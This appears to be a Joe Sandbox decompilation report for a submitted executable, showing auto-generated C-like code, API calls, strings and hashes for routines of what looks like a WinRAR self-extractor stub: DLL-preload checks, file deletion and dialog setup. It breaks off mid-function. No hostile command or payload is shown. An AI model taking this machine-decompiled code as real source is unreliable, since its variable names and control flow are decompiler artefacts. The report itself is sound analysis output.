LICENSEDLG, xrefs: 0025B6B1
winrarsfxmappingfile.tmp, xrefs: 0025B1FC
<, xrefs: 0025B1DA
STARTDLG, xrefs: 0025AE44

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$ht($winrarsfxmappingfile.tmp
API String ID: 810644672-2518953045
Opcode ID: 7d9815408060ed05fa961bfe143affb2b5df0e372193086095d8002151d4d0d9
Instruction ID: 41d3180531c9d8bb21d9ac89ade7ad8b25f74b216369452f14604d0314c5468d
Opcode Fuzzy Hash: 7d9815408060ed05fa961bfe143affb2b5df0e372193086095d8002151d4d0d9
Instruction Fuzzy Hash: 9A423A71965245BFEB229FB0AC4EFBE7B7CAB06702F104155FA05A20D2CB744968CF25

Uniqueness

Uniqueness Score: -1.00%

Function 0025002D Relevance: 98.3, APIs: 22, Strings: 34, Instructions: 317
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E0025002D(void* __edx, CHAR* _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16, CHAR* _a20, CHAR* _a24, CHAR* _a28, CHAR* _a32, CHAR* _a36, CHAR* _a40, CHAR* _a44, CHAR* _a48, CHAR* _a52, CHAR* _a56, CHAR* _a60, CHAR* _a64, CHAR* _a68, CHAR* _a72, CHAR* _a76, CHAR* _a80, CHAR* _a84, CHAR* _a88, CHAR* _a92, CHAR* _a96, CHAR* _a100, CHAR* _a104, CHAR* _a108, CHAR* _a112, CHAR* _a116, CHAR* _a120, CHAR* _a124, CHAR* _a128, CHAR* _a132, CHAR* _a136, CHAR* _a140, CHAR* _a144, CHAR* _a148, CHAR* _a152, CHAR* _a156, CHAR* _a160, CHAR* _a164, CHAR* _a168, CHAR* _a172, CHAR* _a176, CHAR* _a180, CHAR* _a184, CHAR* _a188, CHAR* _a192, CHAR* _a196, CHAR* _a200, CHAR* _a204, CHAR* _a208, CHAR* _a212, CHAR* _a216, CHAR* _a220, CHAR* _a224, CHAR* _a228, CHAR* _a232, CHAR* _a236, CHAR* _a240, char _a244, char _a248, short _a752, short _a756, char _a764, short _a768, char _a4844, char _a4848, void _a4856, char _a4860, short _a4864, char _a9148, char _a9156, void _a13256, signed char _a46028) {
				long _v0;
				long _v8;
				char* _t115;
				void* _t123;
				int _t127;
				long _t138;
				int _t164;
				_Unknown_base(*)()* _t173;
				signed char _t180;
				intOrPtr _t194;
				long _t196;
				void* _t197;
				_Unknown_base(*)()* _t198;
				struct HINSTANCE__* _t200;
				signed int _t202;
				signed int _t204;
				void* _t205;
				_Unknown_base(*)()* _t206;
				signed int _t207;
				int _t208;
				void* _t210;

				E0025E1C0();
				_push(_t207);
				_t180 = 0;
				_t200 = GetModuleHandleW(L"kernel32");
				if(_t200 == 0) {
					L5:
					_t115 =  *0x27d080; // 0x272b54
					_t208 = _t207 | 0xffffffff;
					_a4 = L"version.dll";
					_t201 = 0x800;
					_a8 = L"DXGIDebug.dll";
					_a12 = L"sfc_os.dll";
					_a16 = L"SSPICLI.DLL";
					_a20 = L"rsaenh.dll";
					_a24 = L"UXTheme.dll";
					_a28 = L"dwmapi.dll";
					_a32 = L"cryptbase.dll";
					_a36 = L"lpk.dll";
					_a40 = L"usp10.dll";
					_a44 = L"clbcatq.dll";
					_a48 = L"comres.dll";
					_a52 = L"ws2_32.dll";
					_a56 = L"ws2help.dll";
					_a60 = L"psapi.dll";
					_a64 = L"ieframe.dll";
					_a68 = L"ntshrui.dll";
					_a72 = L"atl.dll";
					_a76 = L"setupapi.dll";
					_a80 = L"apphelp.dll";
					_a84 = L"userenv.dll";
					_a88 = L"netapi32.dll";
					_a92 = L"shdocvw.dll";
					_a96 = L"crypt32.dll";
					_a100 = L"msasn1.dll";
					_a104 = L"cryptui.dll";
					_a108 = L"wintrust.dll";
					_a112 = L"shell32.dll";
					_a116 = L"secur32.dll";
					_a120 = L"cabinet.dll";
					_a124 = L"oleaccrc.dll";
					_a128 = L"ntmarta.dll";
					_a132 = L"profapi.dll";
					_a136 = L"WindowsCodecs.dll";
					_a140 = L"srvcli.dll";
					_a144 = L"cscapi.dll";
					_a148 = L"slc.dll";
					_a152 = L"imageres.dll";
					_a156 = L"dnsapi.DLL";
					_a160 = L"iphlpapi.DLL";
					_a164 = L"WINNSI.DLL";
					_a168 = L"netutils.dll";
					_a172 = L"mpr.dll";
					_a176 = L"devrtl.dll";
					_a180 = L"propsys.dll";
					_a184 = L"mlang.dll";
					_a188 = L"samcli.dll";
					_a192 = L"samlib.dll";
					_a196 = L"wkscli.dll";
					_a200 = L"dfscli.dll";
					_a204 = L"browcli.dll";
					_a208 = L"rasadhlp.dll";
					_a212 = L"dhcpcsvc6.dll";
					_a216 = L"dhcpcsvc.dll";
					_a220 = L"XmlLite.dll";
					_a224 = L"linkinfo.dll";
					_a228 = L"cryptsp.dll";
					_a232 = L"RpcRtRemote.dll";
					_a236 = L"aclui.dll";
					_a240 = L"dsrole.dll";
					_a244 = L"peerdist.dll";
					if( *_t115 == 0x78) {
						L14:
						GetModuleFileNameW(0,  &_a768, _t201);
						E0024FD96( &_a9156, E0024BBC5(_t223,  &_a768), _t201);
						_t194 = 0;
						_t202 = 0;
						do {
							if(E0024AC35() < 0x600) {
								_t123 = 0;
								__eflags = 0;
							} else {
								_t123 = E0024FFE3( *((intOrPtr*)(_t210 + 0x14 + _t202 * 4))); // executed
							}
							if(_t123 == 0) {
								L20:
								_push(0x800);
								E0024BC3B(_t227,  &_a768,  *((intOrPtr*)(_t210 + 0x18 + _t202 * 4)));
								_t127 = GetFileAttributesW( &_a756); // executed
								if(_t127 != _t208) {
									_t194 =  *((intOrPtr*)(_t210 + 0x14 + _t202 * 4));
									L24:
									if(_t180 != 0) {
										L30:
										_t234 = _t194;
										if(_t194 == 0) {
											return _t127;
										}
										E0024BC0F(_t234,  &_a764);
										if(E0024AC35() < 0x600) {
											_push( &_a9156);
											_push( &_a764);
											E00243FD6( &_a4860, 0x864, L"Please remove %s from %s folder. It is unsecure to run %s until it is done.", _t194);
											_t210 = _t210 + 0x18;
											_t127 = AllocConsole();
											__eflags = _t127;
											if(_t127 != 0) {
												__imp__AttachConsole(GetCurrentProcessId());
												_t138 = E002633F3( &_a4856);
												WriteConsoleW(GetStdHandle(0xfffffff4),  &_a4856, _t138,  &_v8, 0);
												Sleep(0x2710);
												_t127 = FreeConsole();
											}
										} else {
											E0024FFE3(L"dwmapi.dll");
											E0024FFE3(L"uxtheme.dll");
											_push( &_a9148);
											_push( &_a756);
											E00243FD6( &_a4848, 0x864, E0024DD11(_t182, 0xf1), _t194);
											_t210 = _t210 + 0x18;
											_t127 = E00259EB3(0,  &_a4844, E0024DD11(_t182, 0xf0), 0x30);
										}
										ExitProcess(0);
									}
									_t204 = 0;
									while(1) {
										_push(0x800);
										E0024BC3B(0,  &_a764,  *((intOrPtr*)(_t210 + 0x38 + _t204 * 4)));
										_t127 = GetFileAttributesW( &_a752);
										if(_t127 != _t208) {
											break;
										}
										_t204 = _t204 + 1;
										if(_t204 < 0x35) {
											continue;
										}
										goto L30;
									}
									_t100 = _t204 * 4; // 0x272c6c
									_t194 =  *((intOrPtr*)(_t210 + _t100 + 0x34));
									goto L30;
								}
							} else {
								_t127 = CompareStringW(0x400, 0x1001,  *(_t210 + 0x20 + _t202 * 4), _t208, L"DXGIDebug.dll", _t208); // executed
								_t227 = _t127 - 2;
								if(_t127 != 2) {
									goto L21;
								}
								goto L20;
							}
							L21:
							_t202 = _t202 + 1;
						} while (_t202 < 8);
						goto L24;
					}
					_t196 = E00266F22(_t182, _t115);
					_pop(_t182);
					if(_t196 == 0) {
						goto L14;
					}
					GetModuleFileNameW(0,  &_a4864, 0x800);
					_t205 = CreateFileW( &_a4864, 0x80000000, 1, 0, 3, 0, 0);
					if(_t205 == _t208 || SetFilePointer(_t205, _t196, 0, 0) != _t196) {
						L13:
						CloseHandle(_t205);
						_t201 = 0x800;
						goto L14;
					} else {
						_t164 = ReadFile(_t205,  &_a13256, 0x7ffe,  &_v0, 0);
						_t222 = _t164;
						if(_t164 == 0) {
							goto L13;
						}
						_t182 = 0;
						_push(0x104);
						 *((short*)(_t210 + 0x33dc + (_v0 >> 1) * 2)) = 0;
						_push( &_a248);
						_push( &_a13256);
						while(1) {
							_t197 = E0024FB18(_t222);
							_t223 = _t197;
							if(_t197 == 0) {
								goto L13;
							}
							E0024FFE3( &_a248);
							_push(0x104);
							_push( &_a244);
							_push(_t197);
						}
						goto L13;
					}
				}
				_t173 = GetProcAddress(_t200, "SetDllDirectoryW");
				_t180 = _a46028;
				_t198 = _t173;
				if(_t198 != 0) {
					asm("sbb ecx, ecx");
					_t182 = _t198;
					 *0x272260( ~(_t180 & 0x000000ff) & 0x002725b4);
					 *_t198();
				}
				_t206 = GetProcAddress(_t200, "SetDefaultDllDirectories");
				if(_t206 != 0) {
					_t182 = _t206;
					 *0x272260(((0 | _t180 == 0x00000000) - 0x00000001 & 0xfffff800) + 0x1000);
					 *_t206();
					_t180 = 1;
				}
				goto L5;
			}

0x00250032
0x00250038
0x00250040
0x00250048
0x0025004c
0x002500b2
0x002500b2
0x002500b7
0x002500ba
0x002500c2
0x002500c7
0x002500cf
0x002500da
0x002500e2
0x002500ea
0x002500f2
0x002500fa
0x00250102
0x0025010a
0x00250112
0x0025011a
0x00250122
0x0025012a
0x00250132
0x0025013a
0x00250142
0x0025014a
0x00250152
0x0025015a
0x00250162
0x0025016a
0x00250172
0x0025017a
0x00250182
0x0025018a
0x00250192
0x0025019a
0x002501a5
0x002501b0
0x002501bb
0x002501c6
0x002501d1
0x002501dc
0x002501e7
0x002501f2
0x002501fd
0x00250208
0x00250213
0x0025021e
0x00250229
0x00250234
0x0025023f
0x0025024a
0x00250255
0x00250260
0x0025026b
0x00250276
0x00250281
0x0025028c
0x00250297
0x002502a2
0x002502ad
0x002502b8
0x002502c3
0x002502ce
0x002502d9
0x002502e4
0x002502ef
0x002502fa
0x00250305
0x00250310
0x002503e2
0x002503ed
0x0025040a
0x0025040f
0x00250411
0x00250413
0x0025041d
0x0025042a
0x0025042a
0x0025041f
0x00250423
0x00250423
0x0025042e
0x00250450
0x00250450
0x00250461
0x0025046e
0x00250476
0x00250480
0x00250484
0x00250486
0x002504be
0x002504be
0x002504c0
0x002505d7
0x002505d7
0x002504ce
0x002504dd
0x0025054c
0x00250554
0x00250568
0x0025056d
0x00250570
0x00250576
0x00250578
0x00250581
0x00250596
0x002505ae
0x002505b9
0x002505bf
0x002505bf
0x002504df
0x002504e4
0x002504ee
0x002504fa
0x00250502
0x0025051c
0x00250521
0x0025053b
0x0025053b
0x002505c7
0x002505c7
0x00250488
0x0025048a
0x0025048a
0x0025049b
0x002504a8
0x002504b0
0x00000000
0x00000000
0x002504b2
0x002504b6
0x00000000
0x00000000
0x00000000
0x002504b8
0x002504ba
0x002504ba
0x00000000
0x002504ba
0x00250430
0x00250445
0x0025044b
0x0025044e
0x00000000
0x00000000
0x00000000
0x0025044e
0x00250478
0x00250478
0x00250479
0x00000000
0x0025047e
0x0025031c
0x0025031e
0x00250321
0x00000000
0x00000000
0x00250332
0x00250354
0x00250358
0x002503d6
0x002503d7
0x002503dd
0x00000000
0x0025036a
0x0025037f
0x00250385
0x00250387
0x00000000
0x00000000
0x0025038f
0x00250391
0x00250396
0x002503a5
0x002503ad
0x002503cb
0x002503d0
0x002503d2
0x002503d4
0x00000000
0x00000000
0x002503b8
0x002503bd
0x002503c9
0x002503ca
0x002503ca
0x00000000
0x002503cb
0x00250358
0x00250054
0x0025005a
0x00250061
0x00250065
0x0025006c
0x00250075
0x00250077
0x0025007d
0x0025007d
0x0025008b
0x0025008f
0x002500a6
0x002500a8
0x002500ae
0x002500b0
0x002500b0
0x00000000

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00250042
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00250054
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00250085
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00250332
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0025034E
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00250360
ReadFile.KERNEL32(00000000,?,00007FFE,00272BA4,00000000), ref: 0025037F
CloseHandle.KERNEL32(00000000), ref: 002503D7
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 002503ED
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 00250445
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00000000,?,00000800), ref: 0025046E
GetFileAttributesW.KERNEL32(?,?,?,00000800), ref: 002504A8

Part of subcall function 0024FFE3: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 0024FFFE
Part of subcall function 0024FFE3: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0024EAC6,Crypt32.dll,00000000,0024EB4A,?,?,0024EB2C,?,?,?), ref: 00250020

_swprintf.LIBCMT ref: 0025051C
_swprintf.LIBCMT ref: 00250568

Part of subcall function 00243FD6: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00243FE9

AllocConsole.KERNEL32 ref: 00250570
GetCurrentProcessId.KERNEL32 ref: 0025057A
AttachConsole.KERNEL32(00000000), ref: 00250581
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 002505A7
WriteConsoleW.KERNEL32(00000000), ref: 002505AE
Sleep.KERNEL32(00002710), ref: 002505B9
FreeConsole.KERNEL32 ref: 002505BF
ExitProcess.KERNEL32 ref: 002505C7

Strings

4-', xrefs: 0025014A
8,', xrefs: 002500F2
DXGIDebug.dll, xrefs: 002500C7, 00250431
p.', xrefs: 002501BB
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00250556
T/', xrefs: 0025021E
x-', xrefs: 00250162
l,', xrefs: 002504BA
`-', xrefs: 0025015A
SetDllDirectoryW, xrefs: 0025004E
@0', xrefs: 0025028C
</', xrefs: 00250213
dwmapi.dll, xrefs: 002504DF
/', xrefs: 00250208
D-', xrefs: 00250152
p/', xrefs: 00250229
uxtheme.dll, xrefs: 002504E9
/', xrefs: 00250260
D1', xrefs: 002502FA
X0', xrefs: 00250297
kernel32, xrefs: 0025003B
(0', xrefs: 00250281
|,', xrefs: 0025010A
\1', xrefs: 00250305
p0', xrefs: 002502A2
SetDefaultDllDirectories, xrefs: 0025007F
X.', xrefs: 002501B0
01', xrefs: 002502EF
.', xrefs: 002501E7
P,', xrefs: 002500FA
,', xrefs: 002500EA
(.', xrefs: 0025019A
T+', xrefs: 002500B2
@.', xrefs: 002501A5

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: ,'$ /'$(.'$(0'$01'$4-'$8,'$</'$@.'$@0'$D-'$D1'$DXGIDebug.dll$P,'$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$T+'$T/'$X.'$X0'$\1'$`-'$dwmapi.dll$kernel32$l,'$p.'$p/'$p0'$uxtheme.dll$x-'$|,'$.'$/'
API String ID: 1201351596-2739426326
Opcode ID: 66a3190f09ec0e188dbc933233a1f25d6986e5acf66cac7150d03ed49c62b8f5
Instruction ID: f9c9f64a371e5ef612dad394787591c0879fd4a71a867e10e2e65524d36822ed
Opcode Fuzzy Hash: 66a3190f09ec0e188dbc933233a1f25d6986e5acf66cac7150d03ed49c62b8f5
Instruction Fuzzy Hash: 3FD169B1028381EBD3359F60DC49B9FBBE8FB85305F50891DF58D96240DBB0866C8B66

Uniqueness

Uniqueness Score: -1.00%

Function 0025BD35 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 54%

			E0025BD35(void* __edx) {
				intOrPtr _t213;
				void* _t218;
				intOrPtr _t274;
				void* _t287;
				signed int _t289;
				void* _t293;
				signed int _t294;
				void* _t298;

				_t287 = __edx;
				E0025E0E4(E00271E93, _t298);
				_t213 = 0x1bc80;
				E0025E1C0();
				if( *((intOrPtr*)(_t298 + 0xc)) == 0) {
					L167:
					 *[fs:0x0] =  *((intOrPtr*)(_t298 - 0xc));
					return _t213;
				}
				_push(0x1000);
				_push(_t298 - 0xe);
				_push(_t298 - 0xd);
				_push(_t298 - 0x5c84);
				_push(_t298 - 0xfc8c);
				_push( *((intOrPtr*)(_t298 + 0xc)));
				_t213 = E0025A986();
				 *((intOrPtr*)(_t298 + 0xc)) = 0x1bc80;
				if(0x1bc80 != 0) {
					_t274 =  *((intOrPtr*)(_t298 + 0x10));
					do {
						_t218 = _t298 - 0x5c84;
						_t293 = _t298 - 0x1bc8c;
						_t289 = 6;
						goto L4;
						L6:
						while(E00251708(_t298 - 0xfc8c,  *((intOrPtr*)(0x27d618 + _t294 * 4))) != 0) {
							_t294 = _t294 + 1;
							if(_t294 < 0xe) {
								continue;
							} else {
								goto L165;
							}
						}
						if(_t294 > 0xd) {
							goto L165;
						}
						switch( *((intOrPtr*)(_t294 * 4 +  &M0025C929))) {
							case 0:
								__eflags = _t274 - 2;
								if(_t274 == 2) {
									E00259D58(_t298 - 0x7c84, 0x800);
									E0024A3DD(E0024B8A5(_t298 - 0x7c84, _t298 - 0x5c84, _t298 - 0xdc8c, 0x800), _t274, _t298 - 0x8c8c, _t294);
									 *(_t298 - 4) = 0;
									E0024A517(_t298 - 0x8c8c, _t298 - 0xdc8c);
									E00247098(_t298 - 0x3c84);
									while(1) {
										_push(0);
										_t282 = _t298 - 0x8c8c;
										_t236 = E0024A46A(_t298 - 0x8c8c, _t287, _t298 - 0x3c84);
										__eflags = _t236;
										if(_t236 == 0) {
											break;
										}
										SetFileAttributesW(_t298 - 0x3c84, 0);
										__eflags =  *(_t298 - 0x2c78);
										if(__eflags == 0) {
											L18:
											_t240 = GetFileAttributesW(_t298 - 0x3c84);
											__eflags = _t240 - 0xffffffff;
											if(_t240 == 0xffffffff) {
												continue;
											}
											_t242 = DeleteFileW(_t298 - 0x3c84);
											__eflags = _t242;
											if(_t242 != 0) {
												continue;
											} else {
												_t296 = 0;
												_push(0);
												goto L22;
												L22:
												E00243FD6(_t298 - 0x103c, 0x800, L"%s.%d.tmp", _t298 - 0x3c84);
												_t300 = _t300 + 0x14;
												_t247 = GetFileAttributesW(_t298 - 0x103c);
												__eflags = _t247 - 0xffffffff;
												if(_t247 != 0xffffffff) {
													_t296 = _t296 + 1;
													__eflags = _t296;
													_push(_t296);
													goto L22;
												} else {
													_t250 = MoveFileW(_t298 - 0x3c84, _t298 - 0x103c);
													__eflags = _t250;
													if(_t250 != 0) {
														MoveFileExW(_t298 - 0x103c, 0, 4);
													}
													continue;
												}
											}
										}
										E0024B437(_t282, __eflags, _t298 - 0x7c84, _t298 - 0x103c, 0x800);
										E0024B147(__eflags, _t298 - 0x103c, 0x800);
										_t297 = E002633F3(_t298 - 0x7c84);
										__eflags = _t297 - 4;
										if(_t297 < 4) {
											L16:
											_t261 = E0024B865(_t298 - 0x5c84);
											__eflags = _t261;
											if(_t261 != 0) {
												break;
											}
											L17:
											_t264 = E002633F3(_t298 - 0x3c84);
											__eflags = 0;
											 *((short*)(_t298 + _t264 * 2 - 0x3c82)) = 0;
											E0025F1A0(0x800, _t298 - 0x3c, 0, 0x1e);
											_t300 = _t300 + 0x10;
											 *((intOrPtr*)(_t298 - 0x38)) = 3;
											_push(0x14);
											_pop(_t267);
											 *((short*)(_t298 - 0x2c)) = _t267;
											 *((intOrPtr*)(_t298 - 0x34)) = _t298 - 0x3c84;
											_push(_t298 - 0x3c);
											 *0x2a1074();
											goto L18;
										}
										_t272 = E002633F3(_t298 - 0x103c);
										__eflags = _t297 - _t272;
										if(_t297 > _t272) {
											goto L17;
										}
										goto L16;
									}
									 *(_t298 - 4) =  *(_t298 - 4) | 0xffffffff;
									E0024A3F3(_t298 - 0x8c8c);
								}
								goto L165;
							case 1:
								__eflags = __ebx;
								if(__ebx != 0) {
									goto L165;
								} else {
									__eax =  *0x29cc7c;
									__eflags =  *0x29cc7c;
									__ebx = __ebx & 0xffffff00 |  *0x29cc7c == 0x00000000;
									__eflags = __bl;
									if(__bl == 0) {
										__eax =  *0x29cc7c;
										_pop(__ecx);
										_pop(__ecx);
									}
									__bh =  *((intOrPtr*)(__ebp - 0xd));
									__eflags = __bh;
									if(__eflags == 0) {
										__eax = __ebp + 0xc;
										_push(__ebp + 0xc);
										__esi = E0025AAEA(__ecx, __edx, __eflags);
										__eax =  *0x29cc7c;
									} else {
										__esi = __ebp - 0x5c84;
									}
									__eflags = __bl;
									if(__bl == 0) {
										__edi = __eax;
									}
									__eax = E002633F3(__esi);
									__eax = __eax + __edi;
									_push(__eax);
									_push( *0x29cc7c);
									__eax = E0026341E(__ecx, __edx);
									__esp = __esp + 0xc;
									__eflags = __eax;
									if(__eax == 0) {
										L39:
										__eflags = __bh;
										if(__bh == 0) {
											__eax = L0026340E(__esi);
										}
										goto L165;
									}
									 *0x29cc7c = __eax;
									__eflags = __bl;
									if(__bl != 0) {
										__ecx = 0;
										__eflags = 0;
										 *__eax = __cx;
									}
									__eax = E00266FAD(__eax, __esi);
									_pop(__ecx);
									_pop(__ecx);
									goto L39;
								}
							case 2:
								__eflags = __ebx;
								if(__ebx == 0) {
									__ebp - 0x5c84 = SetWindowTextW( *(__ebp + 8), __ebp - 0x5c84);
								}
								goto L165;
							case 3:
								__eflags = __ebx;
								if(__ebx != 0) {
									goto L165;
								}
								__eflags =  *0x289472 - __di;
								if( *0x289472 != __di) {
									goto L165;
								}
								__eax = 0;
								__edi = __ebp - 0x5c84;
								_push(0x22);
								 *(__ebp - 0x103c) = __ax;
								_pop(__eax);
								__eflags =  *(__ebp - 0x5c84) - __ax;
								if( *(__ebp - 0x5c84) == __ax) {
									__edi = __ebp - 0x5c82;
								}
								__eax = E002633F3(__edi);
								__esi = 0x800;
								__eflags = __eax - 0x800;
								if(__eax >= 0x800) {
									goto L165;
								} else {
									__eax =  *__edi & 0x0000ffff;
									_push(0x5c);
									_pop(__ecx);
									__eflags = ( *__edi & 0x0000ffff) - 0x2e;
									if(( *__edi & 0x0000ffff) != 0x2e) {
										L52:
										__eflags = __ax - __cx;
										if(__ax == __cx) {
											L64:
											__ebp - 0x103c = E0024FD96(__ebp - 0x103c, __edi, __esi);
											__ebx = 0;
											__eflags = 0;
											L65:
											_push(0x22);
											_pop(__eax);
											__eax = __ebp - 0x103c;
											__eax = E0026161B(__ebp - 0x103c, __ebp - 0x103c);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags =  *((intOrPtr*)(__eax + 2)) - __bx;
												if( *((intOrPtr*)(__eax + 2)) == __bx) {
													__ecx = 0;
													__eflags = 0;
													 *__eax = __cx;
												}
											}
											__eax = __ebp - 0x103c;
											__edi = 0x289472;
											E0024FD96(0x289472, __ebp - 0x103c, __esi) = __ebp - 0x103c;
											__eax = E0025A81F(__ebp - 0x103c, __esi);
											__esi = GetDlgItem( *(__ebp + 8), 0x66);
											__ebp - 0x103c = SetWindowTextW(__esi, __ebp - 0x103c); // executed
											__eax = SendMessageW(__esi, 0x143, __ebx, 0x289472); // executed
											__eax = __ebp - 0x103c;
											__eax = E00263429(__ebp - 0x103c, 0x289472, __eax);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__ebp - 0x103c = SendMessageW(__esi, 0x143, __ebx, __ebp - 0x103c);
											}
											goto L165;
										}
										__eflags = __ax;
										if(__ax == 0) {
											L55:
											__eax = __ebp - 0x18;
											__ebx = 0;
											_push(__ebp - 0x18);
											_push(1);
											_push(0);
											_push(L"Software\\Microsoft\\Windows\\CurrentVersion");
											_push(0x80000002);
											__eax =  *0x2a1028();
											__eflags = __eax;
											if(__eax == 0) {
												__eax = __ebp - 0x14;
												 *(__ebp - 0x14) = 0x1000;
												_push(__ebp - 0x14);
												__eax = __ebp - 0x103c;
												_push(__ebp - 0x103c);
												__eax = __ebp - 0x1c;
												_push(__ebp - 0x1c);
												_push(0);
												_push(L"ProgramFilesDir");
												_push( *(__ebp - 0x18));
												__eax =  *0x2a1024();
												_push( *(__ebp - 0x18));
												 *0x2a1004() =  *(__ebp - 0x14);
												__ecx = 0x7ff;
												__eax =  *(__ebp - 0x14) >> 1;
												__eflags = __eax - 0x7ff;
												if(__eax >= 0x7ff) {
													__eax = 0x7ff;
												}
												__ecx = 0;
												__eflags = 0;
												 *(__ebp + __eax * 2 - 0x103c) = __cx;
											}
											__eflags =  *(__ebp - 0x103c) - __bx;
											if( *(__ebp - 0x103c) != __bx) {
												__eax = __ebp - 0x103c;
												__eax = E002633F3(__ebp - 0x103c);
												_push(0x5c);
												_pop(__ecx);
												__eflags =  *((intOrPtr*)(__ebp + __eax * 2 - 0x103e)) - __cx;
												if(__eflags != 0) {
													__ebp - 0x103c = E0024FD6E(__eflags, __ebp - 0x103c, "\\", __esi);
												}
											}
											__esi = E002633F3(__edi);
											__eax = __ebp - 0x103c;
											__eflags = __esi - 0x7ff;
											__esi = 0x800;
											if(__eflags < 0) {
												__ebp - 0x103c = E0024FD6E(__eflags, __ebp - 0x103c, __edi, 0x800);
											}
											goto L65;
										}
										__eflags =  *((short*)(__edi + 2)) - 0x3a;
										if( *((short*)(__edi + 2)) == 0x3a) {
											goto L64;
										}
										goto L55;
									}
									__eflags =  *((intOrPtr*)(__edi + 2)) - __cx;
									if( *((intOrPtr*)(__edi + 2)) != __cx) {
										goto L52;
									}
									__edi = __edi + 4;
									__ebx = 0;
									__eflags =  *__edi - __bx;
									if( *__edi == __bx) {
										goto L165;
									}
									__ebp - 0x103c = E0024FD96(__ebp - 0x103c, __edi, 0x800);
									goto L65;
								}
							case 4:
								__eflags =  *0x28946c - 1;
								__eflags = __eax - 0x28946c;
								 *__edi =  *__edi + __ecx;
								__eflags =  *(__ebx + 6) & __bl;
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
							case 5:
								__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
								__ecx = 0;
								__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									L82:
									 *0x287442 = __cl;
									 *0x287443 = 1;
									goto L165;
								}
								__eax = __eax - 0x30;
								__eflags = __eax;
								if(__eax == 0) {
									 *0x287442 = __cl;
									L81:
									 *0x287443 = __cl;
									goto L165;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax == 0) {
									goto L82;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									goto L165;
								}
								 *0x287442 = 1;
								goto L81;
							case 6:
								__eflags = __ebx - 4;
								if(__ebx != 4) {
									goto L92;
								}
								__eax = __ebp - 0x5c84;
								__eax = E00263429(__ebp - 0x5c84, __eax, L"<>");
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax == 0) {
									goto L92;
								}
								_push(__edi);
								goto L91;
							case 7:
								__eflags = __ebx - 1;
								if(__eflags != 0) {
									L113:
									__eflags = __ebx - 7;
									if(__ebx == 7) {
										__eflags =  *0x28946c;
										if( *0x28946c == 0) {
											 *0x28946c = 2;
										}
										 *0x288468 = 1;
									}
									goto L165;
								}
								__eax = __ebp - 0x7c84;
								__edi = 0x800;
								GetTempPathW(0x800, __ebp - 0x7c84) = __ebp - 0x7c84;
								E0024B147(__eflags, __ebp - 0x7c84, 0x800) = 0;
								__esi = 0;
								_push(0);
								while(1) {
									_push( *0x27d5f8);
